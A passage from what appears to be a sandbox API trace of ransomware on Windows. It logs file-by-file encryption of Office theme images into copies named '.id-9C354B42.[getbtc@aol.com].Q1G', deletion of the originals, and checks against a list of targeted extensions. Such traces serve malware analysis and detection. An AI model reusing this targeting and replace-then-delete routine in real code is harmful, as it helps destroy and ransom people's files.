hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.616] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0044.616] GetLastError () returned 0x0 [0044.616] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0044.618] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0044.620] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.620] WriteFile (in: hFile=0x198, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.620] SetEndOfFile (hFile=0x198) returned 1 [0044.620] CloseHandle (hObject=0x198) returned 1 [0044.621] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.621] SetEndOfFile (hFile=0x1ec) returned 1 [0044.621] CloseHandle (hObject=0x1ec) returned 1 [0044.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.622] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0044.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.622] lstrlenW (lpString=".doc") returned 4 [0044.622] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.622] lstrlenW (lpString=".docx") returned 5 [0044.622] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.622] lstrlenW (lpString=".pdf") returned 4 [0044.622] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.622] lstrlenW (lpString=".xls") returned 4 [0044.622] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.622] lstrlenW (lpString=".xlsx") returned 5 [0044.622] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.622] lstrlenW (lpString=".ppt") returned 4 [0044.622] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.622] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.622] lstrlenW (lpString=".zip") returned 4 [0044.622] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.622] lstrlenW (lpString=".rar") returned 4 [0044.622] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.622] lstrlenW (lpString=".bz2") returned 4 [0044.622] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.622] lstrlenW (lpString=".7z") returned 3 [0044.622] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".dbf") returned 4 [0044.623] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".1cd") returned 4 [0044.623] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".jpg") returned 4 [0044.623] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".doc") returned 4 [0044.623] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString=".docx") returned 5 [0044.623] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.623] lstrlenW (lpString=".pdf") returned 4 [0044.623] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString=".xls") returned 4 [0044.623] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.623] lstrlenW (lpString=".xlsx") returned 5 [0044.623] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.623] lstrlenW (lpString=".ppt") returned 4 [0044.623] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".zip") returned 4 [0044.623] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.623] lstrlenW (lpString=".rar") returned 4 [0044.623] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.623] lstrlenW (lpString=".bz2") returned 4 [0044.623] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.623] lstrlenW (lpString=".7z") returned 3 [0044.623] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.623] lstrlenW (lpString=".dbf") returned 4 [0044.624] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.624] lstrlenW (lpString=".1cd") returned 4 [0044.624] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0044.624] lstrlenW (lpString=".jpg") returned 4 [0044.624] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.624] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0044.624] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.624] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.624] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=3479) returned 1 [0044.624] CloseHandle (hObject=0x1ec) returned 1 [0044.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0044.624] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.625] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.625] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.951] GetLastError () returned 0x0 [0044.951] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xd97, lpOverlapped=0x0) returned 1 [0044.975] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xda0, lpOverlapped=0x0) returned 1 [0044.976] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.976] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.976] SetEndOfFile (hFile=0x210) returned 1 [0044.976] CloseHandle (hObject=0x210) returned 1 [0044.977] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.977] SetEndOfFile (hFile=0x1ec) returned 1 [0044.978] CloseHandle (hObject=0x1ec) returned 1 [0044.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.978] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0044.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.978] lstrlenW (lpString=".doc") returned 4 [0044.978] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.978] lstrlenW (lpString=".docx") returned 5 [0044.978] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.978] lstrlenW (lpString=".pdf") returned 4 [0044.978] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.978] lstrlenW (lpString=".xls") returned 4 [0044.978] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.978] lstrlenW (lpString=".xlsx") returned 5 [0044.978] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.978] lstrlenW (lpString=".ppt") returned 4 [0044.978] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.978] lstrlenW (lpString=".zip") returned 4 [0044.978] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.978] lstrlenW (lpString=".rar") returned 4 [0044.978] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.978] lstrlenW (lpString=".bz2") returned 4 [0044.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.979] lstrlenW (lpString=".7z") returned 3 [0044.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString=".dbf") returned 4 [0044.979] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString=".1cd") returned 4 [0044.979] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString=".jpg") returned 4 [0044.979] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString=".doc") returned 4 [0044.979] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.979] lstrlenW (lpString=".docx") returned 5 [0044.979] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.979] lstrlenW (lpString=".pdf") returned 4 [0044.979] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString=".xls") returned 4 [0044.979] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString=".xlsx") returned 5 [0044.979] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.979] lstrlenW (lpString=".ppt") returned 4 [0044.979] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.979] lstrlenW (lpString=".zip") returned 4 [0044.979] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString=".rar") returned 4 [0044.979] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.979] lstrlenW (lpString=".bz2") returned 4 [0044.979] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.979] lstrlenW (lpString=".7z") returned 3 [0044.979] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.980] lstrlenW (lpString=".dbf") returned 4 [0044.980] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.980] lstrlenW (lpString=".1cd") returned 4 [0044.980] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF") returned 76 [0044.980] lstrlenW (lpString=".jpg") returned 4 [0044.980] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.980] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0044.980] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.981] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=43276) returned 1 [0044.981] CloseHandle (hObject=0x1ec) returned 1 [0044.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0044.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.981] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.981] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.981] GetLastError () returned 0x0 [0044.981] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0044.984] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0044.985] ReadFile (in: hFile=0x1ec, lpBuffer=0x34e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c7fed4, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesRead=0x2c7fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.985] WriteFile (in: hFile=0x210, lpBuffer=0x34e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x34e0020*, lpNumberOfBytesWritten=0x2c7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.985] SetEndOfFile (hFile=0x210) returned 1 [0044.985] CloseHandle (hObject=0x210) returned 1 [0044.986] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c7fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.986] SetEndOfFile (hFile=0x1ec) returned 1 [0044.987] CloseHandle (hObject=0x1ec) returned 1 [0044.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.987] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString=".doc") returned 4 [0044.988] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.988] lstrlenW (lpString=".docx") returned 5 [0044.988] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.988] lstrlenW (lpString=".pdf") returned 4 [0044.988] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.988] lstrlenW (lpString=".xls") returned 4 [0044.988] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.988] lstrlenW (lpString=".xlsx") returned 5 [0044.988] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.988] lstrlenW (lpString=".ppt") returned 4 [0044.988] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString=".zip") returned 4 [0044.988] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.988] lstrlenW (lpString=".rar") returned 4 [0044.988] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.988] lstrlenW (lpString=".bz2") returned 4 [0044.988] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.988] lstrlenW (lpString=".7z") returned 3 [0044.988] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString=".dbf") returned 4 [0044.988] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString=".1cd") returned 4 [0044.988] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.988] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.988] lstrlenW (lpString=".jpg") returned 4 [0044.988] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString=".doc") returned 4 [0044.989] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString=".docx") returned 5 [0044.989] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.989] lstrlenW (lpString=".pdf") returned 4 [0044.989] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString=".xls") returned 4 [0044.989] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.989] lstrlenW (lpString=".xlsx") returned 5 [0044.989] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.989] lstrlenW (lpString=".ppt") returned 4 [0044.989] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString=".zip") returned 4 [0044.989] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.989] lstrlenW (lpString=".rar") returned 4 [0044.989] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.989] lstrlenW (lpString=".bz2") returned 4 [0044.989] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString=".7z") returned 3 [0044.989] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString=".dbf") returned 4 [0044.989] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString=".1cd") returned 4 [0044.989] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0044.989] lstrlenW (lpString=".jpg") returned 4 [0044.989] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.990] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0044.990] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0044.990] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c7ff1c | out: lpFileSize=0x2c7ff1c*=945) returned 1 [0044.990] CloseHandle (hObject=0x1ec) returned 1 [0044.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif")) returned 0x20 [0044.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.990] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 